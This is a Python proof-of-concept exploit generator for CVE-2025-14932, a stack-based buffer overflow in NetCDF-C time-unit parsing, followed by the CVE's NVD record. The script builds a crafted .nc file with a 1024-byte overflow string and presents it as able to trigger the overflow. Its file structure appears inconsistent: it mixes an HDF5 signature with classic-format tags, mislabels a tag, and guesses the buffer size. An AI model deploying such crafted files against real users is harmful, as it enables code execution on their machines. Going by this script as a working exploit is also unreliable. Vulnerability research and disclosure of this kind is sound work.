CVE-2025-14932

#!/usr/bin/env python3 # CVE-2025-14932 PoC - NetCDF-C Time Unit Stack-based Buffer Overflow # This PoC generates a malicious NetCDF file with oversized time unit string import struct import sys def create_malicious_netcdf(): """ Generate a NetCDF file with oversized time unit to trigger buffer overflow """ # NetCDF header signature header = b'\x89HDF\r\n\x1a\n' # Create oversized time unit string (exceeds expected buffer size) # Typical buffer size might be 32-128 bytes overflow_string = 'A' * 1024 + ' time units since ' # Craft the malicious time unit dimension time_unit_data = overflow_string.encode('utf-8') # NetCDF structure markers nc_data = header + b'\x00' * 4 # Version and flags # Add dimension record with malicious time unit dim_tag = b'\x00\x00\x00\x0B' # NC_DIMENSION dim_data = struct.pack('>I', len(time_unit_data)) + time_unit_data # Add attribute record with overflow data attr_tag = b'\x00\x00\x00\x0C' # NC_ATTRIBUTE attr_name = b'units' attr_data = struct.pack('>I', len(time_unit_data)) + time_unit_data nc_data += dim_tag + dim_data + attr_tag + attr_name + attr_data return nc_data def main(): print('[+] CVE-2025-14932 PoC Generator') print('[+] Target: NSF Unidata NetCDF-C') print('[+] Vulnerability: Time Unit Stack-based Buffer Overflow') output_file = 'malicious_cve_2025_14932.nc' try: nc_content = create_malicious_netcdf() with open(output_file, 'wb') as f: f.write(nc_content) print(f'[+] Malicious NetCDF file created: {output_file}') print('[+] Size:', len(nc_content), 'bytes') print('[+] Time unit overflow string length:', 1024 + len(' time units since ')) print('\n[!] This file can trigger buffer overflow when opened with vulnerable NetCDF-C version') except Exception as e: print(f'[-] Error: {e}') return 1 return 0 if __name__ == '__main__': sys.exit(main())

{"cve": {"id": "CVE-2025-14932", "sourceIdentifier": "[email protected]", "published": "2025-12-23T21:15:48.623", "lastModified": "2026-01-13T20:58:08.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NSF Unidata NetCDF-C Time Unit Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NSF Unidata NetCDF-C. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of time units. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27273."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:unidata:netcdf:-:*:*:*:*:*:*:*", "matchCriteriaId": "73B63AB3-3949-4925-8E64-A93551AD441B"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1153/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}